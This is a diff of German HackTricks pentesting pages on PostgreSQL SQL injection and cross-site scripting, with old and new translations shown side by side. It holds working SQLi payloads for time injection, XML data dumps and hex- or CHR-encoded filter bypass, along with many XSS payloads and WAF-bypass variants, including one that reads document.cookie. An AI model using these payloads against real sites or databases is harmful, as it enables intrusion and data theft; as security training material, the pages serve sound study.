{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
***
|
||||
|
||||
**Diese Seite soll verschiedene Tricks erklären, die Ihnen helfen könnten, eine SQL-Injection in einer PostgreSQL-Datenbank auszunutzen, und die Tricks ergänzen, die Sie auf** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **finden können.**
|
||||
**Diese Seite soll verschiedene Tricks erklären, die Ihnen helfen könnten, eine SQL-Injection in einer PostgreSQL-Datenbank auszunutzen, und die die Tricks ergänzen, die Sie auf** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **finden können.**
|
||||
|
||||
## Netzwerkinteraktion - Privilege Escalation, Portscanner, Offenlegung der NTLM-Challenge-Antwort & Exfiltration
|
||||
|
||||
Das **PostgreSQL-Modul `dblink`** bietet Möglichkeiten, sich mit anderen PostgreSQL-Instanzen zu verbinden und TCP-Verbindungen auszuführen. Diese Funktionen, in Kombination mit der Funktionalität `COPY FROM`, ermöglichen Aktionen wie Privilege Escalation, Portscans und das Erfassen von NTLM-Challenge-Antworten. Für detaillierte Methoden zur Ausführung dieser Angriffe überprüfen Sie, wie Sie [diese Angriffe ausführen können](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
Das **PostgreSQL-Modul `dblink`** bietet Möglichkeiten, um eine Verbindung zu anderen PostgreSQL-Instanzen herzustellen und TCP-Verbindungen auszuführen. Diese Funktionen, in Kombination mit der Funktionalität `COPY FROM`, ermöglichen Aktionen wie Privilege Escalation, Portscanning und das Erfassen von NTLM-Challenge-Antworten. Für detaillierte Methoden zur Ausführung dieser Angriffe überprüfen Sie, wie Sie [diese Angriffe ausführen können](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
|
||||
### **Exfiltrationsbeispiel mit dblink und großen Objekten**
|
||||
### **Exfiltrationsbeispiel unter Verwendung von dblink und großen Objekten**
|
||||
|
||||
Sie können [**dieses Beispiel lesen**](dblink-lo\_import-data-exfiltration.md), um ein CTF-Beispiel zu sehen, **wie Daten in große Objekte geladen und dann der Inhalt dieser großen Objekte im Benutzernamen** der Funktion `dblink_connect` exfiltriert werden kann.
|
||||
Sie können [**dieses Beispiel lesen**](dblink-lo\_import-data-exfiltration.md), um ein CTF-Beispiel zu sehen, **wie Daten in große Objekte geladen und dann der Inhalt der großen Objekte im Benutzernamen** der Funktion `dblink_connect` exfiltriert werden kann.
|
||||
|
||||
## PostgreSQL-Angriffe: Lesen/Schreiben, RCE, Privilege Escalation
|
||||
|
||||
|
@ -44,40 +44,33 @@ Sie können [**dieses Beispiel lesen**](dblink-lo\_import-data-exfiltration.md),
|
|||
|
||||
### PostgreSQL-Stringfunktionen
|
||||
|
||||
Das Manipulieren von Zeichenfolgen könnte Ihnen helfen, **WAFs oder andere Einschränkungen zu umgehen**.\
|
||||
[**Auf dieser Seite** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**finden Sie einige nützliche Stringfunktionen.**
|
||||
Das Manipulieren von Strings könnte Ihnen helfen, **WAFs oder andere Einschränkungen zu umgehen**.\
|
||||
[**Auf dieser Seite**](https://www.postgresqltutorial.com/postgresql-string-functions/) **finden Sie einige nützliche Stringfunktionen.**
|
||||
|
||||
### Gestapelte Abfragen
|
||||
|
||||
Denken Sie daran, dass PostgreSQL gestapelte Abfragen unterstützt, aber mehrere Anwendungen einen Fehler anzeigen werden, wenn 2 Antworten zurückgegeben werden, wenn nur 1 erwartet wird. Sie können dennoch die gestapelten Abfragen über eine Time-Injection missbrauchen:
|
||||
|
||||
Denken Sie daran, dass PostgreSQL gestapelte Abfragen unterstützt, aber mehrere Anwendungen einen Fehler anzeigen werden, wenn 2 Antworten zurückgegeben werden, wenn nur 1 erwartet wird. Sie können dennoch die gestapelten Abfragen über Time Injection missbrauchen:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
```
|
||||
|
||||
### XML Tricks
|
||||
### XML-Tricks
|
||||
|
||||
**query\_to\_xml**
|
||||
|
||||
Diese Funktion gibt alle Daten im XML-Format in nur einer Datei zurück. Ideal, wenn Sie eine große Menge an Daten in nur einer Zeile dumpen möchten:
|
||||
|
||||
```sql
|
||||
SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||
```
|
||||
|
||||
**database\_to\_xml**
|
||||
|
||||
Diese Funktion gibt die gesamte Datenbank im XML-Format in nur 1 Zeile aus (Vorsicht, wenn die Datenbank sehr groß ist, können Sie sie möglicherweise DoS-en oder sogar Ihren eigenen Client).
|
||||
|
||||
Diese Funktion gibt die gesamte Datenbank im XML-Format in nur 1 Zeile aus (Vorsicht, wenn die Datenbank sehr groß ist, da Sie sie möglicherweise DoS oder sogar Ihren eigenen Client verursachen können):
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
|
||||
### Zeichenfolgen in Hexadezimal
|
||||
|
||||
Wenn Sie **Abfragen** ausführen können, indem Sie sie **innerhalb einer Zeichenfolge** übergeben (zum Beispiel mit der Funktion **`query_to_xml`**). **Sie können `convert_from` verwenden, um die Zeichenfolge als Hexadezimal zu übergeben und auf diese Weise Filter zu umgehen:**
|
||||
|
||||
```sql
|
||||
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
||||
|
||||
|
@ -87,26 +80,23 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
|||
# Bypass via boolean + error based + query_to_xml with hex
|
||||
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Verbotene Anführungszeichen
|
||||
|
||||
Wenn Sie Anführungszeichen nicht für Ihr Payload verwenden können, können Sie dies mit `CHR` für grundlegende Klauseln umgehen (_Zeichenverkettung funktioniert nur für grundlegende Abfragen wie SELECT, INSERT, DELETE usw. Es funktioniert nicht für alle SQL-Anweisungen_):
|
||||
|
||||
```
|
||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||
```
|
||||
|
||||
Oder mit `$`. Diese Abfragen liefern die gleichen Ergebnisse:
|
||||
|
||||
```
|
||||
SELECT 'hacktricks';
|
||||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/de/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
Wenn Sie an einer **Karriere im Hacking** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -11,27 +11,27 @@ Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken
|
|||
1. Überprüfen Sie, ob **ein von Ihnen kontrollierter Wert** (_Parameter_, _Pfad_, _Header_?, _Cookies_?) im HTML **reflektiert** oder von **JS**-Code **verwendet** wird.
|
||||
2. **Finden Sie den Kontext**, in dem er reflektiert/verwendet wird.
|
||||
3. Wenn **reflektiert**
|
||||
4. Überprüfen Sie, **welche Symbole Sie verwenden können** und bereiten Sie je nachdem das Payload vor:
|
||||
5. In **rohem HTML**:
|
||||
6. Können Sie neue HTML-Tags erstellen?
|
||||
7. Können Sie Ereignisse oder Attribute verwenden, die das `javascript:`-Protokoll unterstützen?
|
||||
8. Können Sie Schutzmechanismen umgehen?
|
||||
9. Wird der HTML-Inhalt von einem Client-seitigen JS-Motor interpretiert (_AngularJS_, _VueJS_, _Mavo_...), könnten Sie eine [**Client-seitige Template-Injektion**](../client-side-template-injection-csti.md) ausnutzen.
|
||||
10. Wenn Sie keine HTML-Tags erstellen können, die JS-Code ausführen, könnten Sie eine [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/) ausnutzen?
|
||||
11. Innerhalb eines **HTML-Tags**:
|
||||
12. Können Sie in den rohen HTML-Kontext wechseln?
|
||||
13. Können Sie neue Ereignisse/Attribute erstellen, um JS-Code auszuführen?
|
||||
14. Unterstützt das Attribut, in dem Sie gefangen sind, die Ausführung von JS?
|
||||
15. Können Sie Schutzmechanismen umgehen?
|
||||
16. Innerhalb des **JavaScript-Codes**:
|
||||
17. Können Sie das `<script>`-Tag escapen?
|
||||
18. Können Sie den String escapen und unterschiedlichen JS-Code ausführen?
|
||||
19. Befinden sich Ihre Eingaben in Template-Literals \`\`?
|
||||
20. Können Sie Schutzmechanismen umgehen?
|
||||
21. Wird eine **JavaScript-Funktion** **ausgeführt**
|
||||
22. Sie können den Namen der auszuführenden Funktion angeben. z. B.: `?callback=alert(1)`
|
||||
23. Wenn **verwendet**:
|
||||
24. Sie könnten eine **DOM XSS** ausnutzen, achten Sie darauf, wie Ihre Eingabe kontrolliert wird und ob Ihre **kontrollierte Eingabe von einem Sink verwendet wird**.
|
||||
1. Überprüfen Sie, **welche Symbole Sie verwenden können** und bereiten Sie je nachdem das Payload vor:
|
||||
1. In **rohem HTML**:
|
||||
1. Können Sie neue HTML-Tags erstellen?
|
||||
2. Können Sie Ereignisse oder Attribute verwenden, die das `javascript:`-Protokoll unterstützen?
|
||||
3. Können Sie Schutzmechanismen umgehen?
|
||||
4. Wird der HTML-Inhalt von einem Client-seitigen JS-Motor interpretiert (_AngularJS_, _VueJS_, _Mavo_...), könnten Sie eine [**Client-seitige Template-Injektion**](../client-side-template-injection-csti.md) ausnutzen.
|
||||
5. Wenn Sie keine HTML-Tags erstellen können, die JS-Code ausführen, könnten Sie eine [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/) ausnutzen?
|
||||
2. Innerhalb eines **HTML-Tags**:
|
||||
1. Können Sie in den rohen HTML-Kontext zurückkehren?
|
||||
2. Können Sie neue Ereignisse/Attribute erstellen, um JS-Code auszuführen?
|
||||
3. Unterstützt das Attribut, in dem Sie gefangen sind, die Ausführung von JS?
|
||||
4. Können Sie Schutzmechanismen umgehen?
|
||||
3. Innerhalb des **JavaScript-Codes**:
|
||||
1. Können Sie das `<script>`-Tag escapen?
|
||||
2. Können Sie den String escapen und unterschiedlichen JS-Code ausführen?
|
||||
3. Befinden sich Ihre Eingaben in Template-Literals \`\`?
|
||||
4. Können Sie Schutzmechanismen umgehen?
|
||||
4. Der ausgeführte **JavaScript-Code**
|
||||
1. Sie können den Namen der auszuführenden Funktion angeben. z. B.: `?callback=alert(1)`
|
||||
4. Wenn **verwendet**:
|
||||
1. Sie könnten eine **DOM XSS** ausnutzen, achten Sie darauf, wie Ihre Eingabe kontrolliert wird und ob Ihre **kontrollierte Eingabe von einem Sink verwendet wird**.
|
||||
|
||||
Bei der Arbeit an einem komplexen XSS könnte es interessant sein zu wissen:
|
||||
|
||||
|
@ -43,54 +43,50 @@ Bei der Arbeit an einem komplexen XSS könnte es interessant sein zu wissen:
|
|||
|
||||
Um eine XSS erfolgreich auszunutzen, müssen Sie zuerst einen **von Ihnen kontrollierten Wert finden, der im Webseiteninhalt reflektiert wird**.
|
||||
|
||||
* **Zwischengespeichert reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar des Pfads im Webseiteninhalt reflektiert wird, könnten Sie eine **Reflected XSS** ausnutzen.
|
||||
* **Gespeichert und reflektiert**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert auf dem Server gespeichert ist und jedes Mal reflektiert wird, wenn Sie auf eine Seite zugreifen, könnten Sie eine **Stored XSS** ausnutzen.
|
||||
* **Über JS zugegriffen**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert mithilfe von JS abgerufen wird, könnten Sie eine **DOM XSS** ausnutzen.
|
||||
* **Zwischengespeichert reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar des Pfads im Webseiteninhalt reflektiert wird, könnten Sie eine **Reflektierte XSS** ausnutzen.
|
||||
* **Gespeichert und reflektiert**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert auf dem Server gespeichert ist und jedes Mal reflektiert wird, wenn Sie auf eine Seite zugreifen, könnten Sie eine **Gespeicherte XSS** ausnutzen.
|
||||
* **Über JS zugegriffen**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert mithilfe von JS zugegriffen wird, könnten Sie eine **DOM XSS** ausnutzen.
|
||||
|
||||
## Kontexte
|
||||
|
||||
Beim Versuch, eine XSS auszunutzen, müssen Sie zuerst wissen, **wo Ihre Eingabe reflektiert wird**. Abhängig vom Kontext können Sie auf unterschiedliche Weise beliebigen JS-Code ausführen.
|
||||
Beim Versuch, eine XSS auszunutzen, müssen Sie zuerst wissen, **wo Ihre Eingabe reflektiert wird**. Abhängig vom Kontext können Sie beliebigen JS-Code auf unterschiedliche Weise ausführen.
|
||||
|
||||
### Rohes HTML
|
||||
|
||||
Wenn Ihre Eingabe auf der **rohen HTML**-Seite reflektiert wird, müssen Sie missbrauchen einige **HTML-Tags**, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... dies sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
|
||||
Wenn Ihre Eingabe auf der **rohen HTML**-Seite reflektiert wird, müssen Sie missbrauchen, um einige **HTML-Tags** JS-Code auszuführen: `<img , <iframe , <svg , <script` ... dies sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
|
||||
Denken Sie auch an [Client-seitige Template-Injektion](../client-side-template-injection-csti.md).
|
||||
|
||||
### Innerhalb von Attributen von HTML-Tags
|
||||
|
||||
Wenn Ihre Eingabe im Wert des Attributs eines Tags reflektiert wird, könnten Sie versuchen:
|
||||
Wenn Ihre Eingabe innerhalb des Werts des Attributs eines Tags reflektiert wird, könnten Sie versuchen:
|
||||
|
||||
1. **Aus dem Attribut und dem Tag auszubrechen** (dann sind Sie im rohen HTML) und ein neues HTML-Tag zum Missbrauch erstellen: `"><img [...]`
|
||||
2. Wenn Sie **aus dem Attribut, aber nicht aus dem Tag ausbrechen können** (`>` ist codiert oder gelöscht), könnten Sie je nach Tag **ein Ereignis erstellen**, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="`
|
||||
3. Wenn Sie **nicht aus dem Attribut ausbrechen können** (`"` wird codiert oder gelöscht), dann je nach **welchem Attribut** Ihre Eingabe reflektiert wird, ob Sie den gesamten Wert kontrollieren oder nur einen Teil, könnten Sie es ausnutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie beliebigen Code ausführen, wenn darauf geklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, bei dem Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
|
||||
4. Wenn Ihre Eingabe in "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie den **`accesskey`**-Trick versuchen, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
4. Wenn Ihre Eingabe innerhalb von "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie den **`accesskey`**-Trick versuchen, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Seltsames Beispiel für Angular, das XSS ausführt, wenn Sie einen Klassennamen kontrollieren:
|
||||
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
|
||||
### Innerhalb des JavaScript-Codes
|
||||
|
||||
In diesem Fall wird Ihre Eingabe zwischen **`<script> [...] </script>`**-Tags einer HTML-Seite, innerhalb einer `.js`-Datei oder innerhalb eines Attributs mit dem **`javascript:`**-Protokoll widergespiegelt:
|
||||
|
||||
* Wenn sie zwischen **`<script> [...] </script>`**-Tags widergespiegelt wird, selbst wenn Ihre Eingabe innerhalb von Anführungszeichen steht, können Sie versuchen, `</script>` einzufügen und aus diesem Kontext auszubrechen. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** und dann den Inhalt analysiert. Daher wird er nicht bemerken, dass Ihr eingefügtes `</script>`-Tag innerhalb des HTML-Codes steht.
|
||||
* Wenn sie **innerhalb eines JS-Strings** widergespiegelt wird und der letzte Trick nicht funktioniert, müssen Sie den String **verlassen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (falls ein Fehler auftritt, wird er nicht ausgeführt):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
* Wenn sie innerhalb von Template-Literals widergespiegelt wird, können Sie **JS-Ausdrücke einbetten**, indem Sie die Syntax `${ ... }` verwenden: `` var greetings = `Hallo, ${alert(1)}` ``
|
||||
* **Unicode-Codierung** funktioniert, um **gültigen JavaScript-Code** zu schreiben:
|
||||
In diesem Fall wird Ihre Eingabe zwischen **`<script> [...] </script>`**-Tags einer HTML-Seite, innerhalb einer `.js`-Datei oder innerhalb eines Attributs mit dem **`javascript:`**-Protokoll reflektiert:
|
||||
|
||||
- Wenn sie zwischen **`<script> [...] </script>`**-Tags reflektiert wird, selbst wenn Ihre Eingabe innerhalb von Anführungszeichen steht, können Sie versuchen, `</script>` einzufügen und aus diesem Kontext auszubrechen. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** und dann den Inhalt analysiert. Daher wird er nicht bemerken, dass Ihr eingefügtes `</script>`-Tag innerhalb des HTML-Codes steht.
|
||||
- Wenn sie **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den String **verlassen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (falls ein Fehler auftritt, wird er nicht ausgeführt):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\'-alert(1)//`
|
||||
- Wenn sie innerhalb von Template-Literals reflektiert wird, können Sie **JS-Ausdrücke einbetten**, indem Sie die Syntax `${ ... }` verwenden: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode-Codierung** funktioniert, um **gültigen JavaScript-Code** zu schreiben:
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
\u0061lert(1)
|
||||
\u{0061}lert(1)
|
||||
```
|
||||
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting bezieht sich auf die Möglichkeit, **Funktionen, Variablen oder Klassen zu deklarieren, nachdem sie verwendet wurden, um Szenarien auszunutzen, in denen ein XSS nicht deklarierte Variablen oder Funktionen verwendet.**\
|
||||
|
@ -100,22 +96,21 @@ Javascript Hoisting bezieht sich auf die Möglichkeit, **Funktionen, Variablen o
|
|||
[js-hoisting.md](js-hoisting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Javascript-Funktion
|
||||
### Javascript Funktion
|
||||
|
||||
Mehrere Webseiten haben Endpunkte, die **den Namen der auszuführenden Funktion als Parameter akzeptieren**. Ein häufiges Beispiel, das man häufig sieht, ist etwas wie: `?callback=callbackFunc`.
|
||||
|
||||
Ein guter Weg, um herauszufinden, ob etwas, das direkt vom Benutzer bereitgestellt wird, versucht wird, ausgeführt zu werden, besteht darin, **den Parametervalue zu ändern** (zum Beispiel auf 'Vulnerable') und in der Konsole nach Fehlern wie diesen zu suchen:
|
||||
|
||||
![](<../../.gitbook/assets/image (651) (2).png>)
|
||||
![](<../../.gitbook/assets/image (708).png>)
|
||||
|
||||
Falls es anfällig ist, könnten Sie in der Lage sein, **einen Alarm auszulösen**, indem Sie einfach den Wert senden: **`?callback=alert(1)`**. Es ist jedoch sehr häufig, dass diese Endpunkte den Inhalt **validieren**, um nur Buchstaben, Zahlen, Punkte und Unterstriche zuzulassen (**`[\w\._]`**).
|
||||
|
||||
Dennoch ist es selbst mit dieser Einschränkung möglich, einige Aktionen auszuführen. Dies liegt daran, dass Sie diese gültigen Zeichen verwenden können, um auf **beliebige Elemente im DOM zuzugreifen**:
|
||||
Dennoch ist es selbst mit dieser Einschränkung möglich, einige Aktionen auszuführen. Dies liegt daran, dass Sie diese gültigen Zeichen verwenden können, um auf jedes Element im DOM zuzugreifen:
|
||||
|
||||
![](<../../.gitbook/assets/image (662).png>)
|
||||
![](<../../.gitbook/assets/image (744).png>)
|
||||
|
||||
Einige nützliche Funktionen dafür:
|
||||
|
||||
```
|
||||
firstElementChild
|
||||
lastElementChild
|
||||
|
@ -123,7 +118,6 @@ nextElementSibiling
|
|||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
|
||||
Du kannst auch versuchen, **Javascript-Funktionen direkt auszulösen**: `obj.sales.delOrders`.
|
||||
|
||||
Normalerweise sind die Endpunkte, die die angegebene Funktion ausführen, Endpunkte ohne viel interessantes DOM, **andere Seiten im selben Ursprung** werden ein **interessanteres DOM** haben, um mehr Aktionen auszuführen.
|
||||
|
@ -136,7 +130,7 @@ Daher wurde zur **Ausnutzung dieser Schwachstelle in einem anderen DOM** die **S
|
|||
|
||||
### DOM
|
||||
|
||||
Es gibt **JS-Code**, der **unsicher** einige **von einem Angreifer kontrollierte Daten** wie `location.href` verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.
|
||||
Es gibt **JS-Code**, der **unsicher** einige **von einem Angreifer kontrollierte Daten** wie `location.href` verwendet. Ein Angreifer könnte dies missbrauchen, um beliebigen JS-Code auszuführen.
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -144,7 +138,7 @@ Es gibt **JS-Code**, der **unsicher** einige **von einem Angreifer kontrollierte
|
|||
|
||||
### **Universal XSS**
|
||||
|
||||
Diese Art von XSS kann **überall** gefunden werden. Sie hängen nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von **jedem** **Kontext**. Diese Art von **beliebiger JavaScript-Ausführung** kann sogar missbraucht werden, um **RCE** zu erhalten, **beliebige** **Dateien** auf Clients und Servern zu **lesen** und mehr.\
|
||||
Diese Art von XSS kann **überall** gefunden werden. Sie hängen nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von **jedem** **Kontext**. Diese Art von **beliebiger JavaScript-Ausführung** kann sogar missbraucht werden, um **RCE** zu erlangen, **beliebige Dateien** auf Clients und Servern zu **lesen** und mehr.\
|
||||
Einige **Beispiele**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -155,42 +149,37 @@ Einige **Beispiele**:
|
|||
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## WAF-Bypass-Codierungsbild
|
||||
## WAF-Bypass-Codierung von Bildern
|
||||
|
||||
![von https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg)
|
||||
![von https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>)
|
||||
|
||||
## Einfügen innerhalb von rohem HTML
|
||||
## Einfügen innerhalb von Roh-HTML
|
||||
|
||||
Wenn deine Eingabe **innerhalb der HTML-Seite reflektiert** wird oder du HTML-Code in diesem Kontext entkommen und einfügen kannst, ist das **erste**, was du tun musst, zu überprüfen, ob du `<` missbrauchen kannst, um neue Tags zu erstellen: Versuche einfach, **diesen** **Zeichen** zu reflektieren und prüfe, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **ohne Änderungen reflektiert wird**. **Nur in letzterem Fall wirst du diese Schwachstelle ausnutzen können**.\
|
||||
In solchen Fällen solltest du auch an [**Client Side Template Injection**](../client-side-template-injection-csti.md)\*\* denken\*\*.\
|
||||
_\*\*Hinweis: Ein HTML-Kommentar kann mit\*\*\*\* **`-->`**_ _**oder** \*\***`--!>`** geschlossen werden._
|
||||
|
||||
In diesem Fall und wenn keine Black- oder Whitelisting verwendet wird, könntest du Payloads wie:
|
||||
Wenn Ihre Eingabe **innerhalb der HTML-Seite** reflektiert wird oder Sie HTML-Code in diesem Kontext entkommen und einfügen können, ist das **erste**, was Sie tun müssen, zu überprüfen, ob Sie `<` missbrauchen können, um neue Tags zu erstellen: Versuchen Sie einfach, **diesen** **Zeichen** zu reflektieren und überprüfen Sie, ob er **HTML-codiert** oder **gelöscht** wird oder ob er **ohne Änderungen reflektiert wird**. **Nur in letzterem Fall können Sie diese Schwachstelle ausnutzen**.\
|
||||
In solchen Fällen sollten Sie auch an [**Client-seitige Template-Injection**](../client-side-template-injection-csti.md)** denken**.\
|
||||
_**Hinweis: Ein HTML-Kommentar kann mit**** ****`-->`**** ****oder**** ****`--!>`** geschlossen werden._
|
||||
|
||||
In diesem Fall und wenn keine Black- oder Whitelisting verwendet wird, könnten Sie Payloads wie:
|
||||
```html
|
||||
<script>alert(1)</script>
|
||||
<img src=x onerror=alert(1) />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
|
||||
Aber wenn Tags/Attribut-Blacklisting/Whitelisting verwendet wird, müssen Sie **brute-force, welche Tags** Sie erstellen können. Sobald Sie **festgestellt haben, welche Tags erlaubt sind**, müssen Sie **brute-force Attribute/Events** innerhalb der gefundenen gültigen Tags, um zu sehen, wie Sie den Kontext angreifen können.
|
||||
|
||||
### Tags/Events brute-force
|
||||
### Tags/Events Brute-Force
|
||||
|
||||
Gehen Sie zu [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) und klicken Sie auf _**Tags in Zwischenablage kopieren**_. Senden Sie dann alle mit Burp Intruder und überprüfen Sie, ob von der WAF keine Tags als bösartig erkannt wurden. Sobald Sie herausgefunden haben, welche Tags Sie verwenden können, können Sie **alle Events brute-forcen**, indem Sie die gültigen Tags verwenden (auf derselben Webseite auf _**Events in Zwischenablage kopieren**_ klicken und das gleiche Verfahren wie zuvor befolgen).
|
||||
Gehen Sie zu [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) und klicken Sie auf _**Tags in die Zwischenablage kopieren**_. Senden Sie dann alle mit Burp Intruder und überprüfen Sie, ob von der WAF keine Tags als bösartig erkannt wurden. Sobald Sie herausgefunden haben, welche Tags Sie verwenden können, können Sie **alle Events brute-forcen**, indem Sie die gültigen Tags verwenden (auf derselben Webseite auf _**Events in die Zwischenablage kopieren**_ klicken und das gleiche Verfahren wie zuvor befolgen).
|
||||
|
||||
### Benutzerdefinierte Tags
|
||||
|
||||
Wenn Sie keinen gültigen HTML-Tag gefunden haben, könnten Sie versuchen, **einen benutzerdefinierten Tag zu erstellen** und JS-Code mit dem Attribut `onfocus` auszuführen. In der XSS-Anfrage müssen Sie die URL mit `#` beenden, um die Seite auf dieses Objekt zu **fokussieren** und den Code **auszuführen**:
|
||||
|
||||
Wenn Sie keinen gültigen HTML-Tag gefunden haben, könnten Sie versuchen, **einen benutzerdefinierten Tag zu erstellen** und JS-Code mit dem Attribut `onfocus` auszuführen. In der XSS-Anfrage müssen Sie die URL mit `#` beenden, um die Seite **auf dieses Objekt zu fokussieren** und den Code **auszuführen**:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
|
||||
### Blacklist-Bypasses
|
||||
|
||||
Wenn eine Art von Blacklist verwendet wird, könnten Sie versuchen, sie mit einigen albernen Tricks zu umgehen:
|
||||
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
|
@ -240,25 +229,22 @@ onerror=alert`1`
|
|||
//Use more than one
|
||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||
```
|
||||
|
||||
### Längenbypass (kleine XSSs)
|
||||
|
||||
{% hint style="info" %}
|
||||
